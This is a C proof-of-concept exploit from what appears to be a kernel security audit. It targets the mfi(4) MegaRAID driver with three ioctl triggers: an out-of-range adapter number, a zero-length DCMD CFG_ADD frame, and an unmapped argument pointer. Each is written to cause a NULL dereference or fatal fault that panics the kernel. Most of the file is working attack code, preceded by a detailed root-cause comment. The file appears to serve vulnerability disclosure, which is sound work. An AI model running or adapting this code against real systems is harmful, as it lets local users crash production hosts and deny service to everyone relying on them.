DF-3872 / mfi_ioctl_nullderef.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 | /* * DF-3871 / DF-3872 / DF-3873 PoC: mfi(4) user-triggerable kernel NULL derefs * via the management ioctl surface (/dev/mfiN, mode 0640 root:operator). * * Trigger 1 (DF-3871): MFI_CMD with mfi_adapter_no >= number of adapters. * mfi.c:2954-2958: sc = devclass_get_softc(devclass, adapter); // NULL * no NULL check -> lockmgr(&sc->mfi_io_lock, ...) -> write near NULL -> panic. * (The Linux shim at mfi.c:3146-3147 *does* check; the native path doesn't.) * * Trigger 2 (DF-3872): MFI_CMD with frame cmd=MFI_CMD_DCMD, * opcode=MFI_DCMD_CFG_ADD (0x04020000), data_len=0 and no DATAIN/DATAOUT. * cm->cm_data == NULL (mfi.c:2996-3002), then mfi_check_for_sscd() * (mfi.c:2679,2684-2685) evaluates conf_data->ld[0].params.isSSCD on NULL * (offset ~2.5 KB into the struct) -> kernel read at NULL+~2.5K -> panic. * * Trigger 3 (DF-3873): MFI_CMD with the ioctl arg itself unmapped. * mfi_ioctl dereferences the user arg directly (no copyin), e.g. * mfi.c:2950 ioc->mfi_adapter_no / mfi.c:2973 bcopy(ioc->mfi_frame.raw,...). * An unmapped user address -> kernel-mode fault on user VA with * pcb_onfault == NULL -> trap_fatal "Fatal user address access from kernel * mode" -> panic (sys/platform/pc64/x86_64/trap.c:905-925). * * On hosts WITHOUT an LSI MegaRAID (like the audit guest) open() fails with * ENOENT and none of the kernel paths are reachable: hardware-gated. */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> /* ---- verbatim from sys/dev/raid/mfi/mfi_ioctl.h / mfireg.h ---- */ struct iovec_x { void *iov_base; size_t iov_len; }; struct mfi_ioc_packet_x { uint16_t mfi_adapter_no; uint16_t mfi_pad1; uint32_t mfi_sgl_off; uint32_t mfi_sge_count; uint32_t mfi_sense_off; uint32_t mfi_sense_len; union { uint8_t raw[128]; struct { uint8_t cmd; uint8_t sense_len; uint8_t cmd_status; uint8_t scsi_status; uint8_t target_id; uint8_t lun_id; uint8_t cdb_len; uint8_t sg_count; uint32_t flags; uint32_t data_len; uint32_t context; uint16_t pad0; uint16_t timeout; uint32_t data_xfer_len; uint32_t opcode; /* dcmd opcode at raw offset 0x20 */ } hdr; } mfi_frame; struct iovec_x mfi_sgl[16]; } __attribute__((packed)); #define MFI_CMD_IOCTL _IOWR('M', 1, struct mfi_ioc_packet_x) #define MFI_CMD_DCMD 0x05 #define MFI_DCMD_CFG_ADD 0x04020000u static void trigger1(int fd) { struct mfi_ioc_packet_x ioc; memset(&ioc, 0, sizeof(ioc)); ioc.mfi_adapter_no = 0x7fff; /* any value >= #adapters */ printf("[T1] MFI_CMD mfi_adapter_no=%u -> devclass_get_softc NULL -> " "lockmgr(&sc->mfi_io_lock) on NULL\n", ioc.mfi_adapter_no); int r = ioctl(fd, MFI_CMD_IOCTL, &ioc); printf("[T1] ioctl returned %d errno=%d (on real HW: kernel panics here)\n", r, errno); } static void trigger2(int fd) { struct mfi_ioc_packet_x ioc; memset(&ioc, 0, sizeof(ioc)); ioc.mfi_adapter_no = 0; ioc.mfi_frame.hdr.cmd = MFI_CMD_DCMD; ioc.mfi_frame.hdr.opcode = MFI_DCMD_CFG_ADD; /* data_len 0, flags 0 -> cm_data = NULL at mfi.c:2996-3002 */ printf("[T2] MFI_CMD DCMD CFG_ADD data_len=0 -> cm_data NULL -> " "mfi_check_for_sscd reads conf_data->ld[0].params.isSSCD at " "NULL+~2.5K\n"); int r = ioctl(fd, MFI_CMD_IOCTL, &ioc); printf("[T2] ioctl returned %d errno=%d (on real HW: kernel panics here)\n", r, errno); } int main(void) { const char *devs[] = { "/dev/mfi0", "/dev/megaraid_sas_ioctl_node", NULL }; int fd = -1; for (int i = 0; devs[i]; i++) { fd = open(devs[i], O_RDWR); if (fd >= 0) { printf("opened %s\n", devs[i]); break; } printf("open(%s): %s\n", devs[i], strerror(errno)); } if (fd < 0) { printf("NO MegaRAID CONTROLLER PRESENT: kernel paths are " "hardware-gated and cannot be exercised on this host.\n"); return 2; } trigger1(fd); trigger2(fd); /* DF-3873: unmapped arg pointer. Deliberately last: panics on real HW. */ printf("[T3] MFI_CMD with unmapped arg (kernel bcopy from user ptr, no copyin)\n"); int r = ioctl(fd, MFI_CMD_IOCTL, (void *)0x515100001000UL); printf("[T3] ioctl returned %d errno=%d (on real HW: trap_fatal panic)\n", r, errno); close(fd); return 0; } |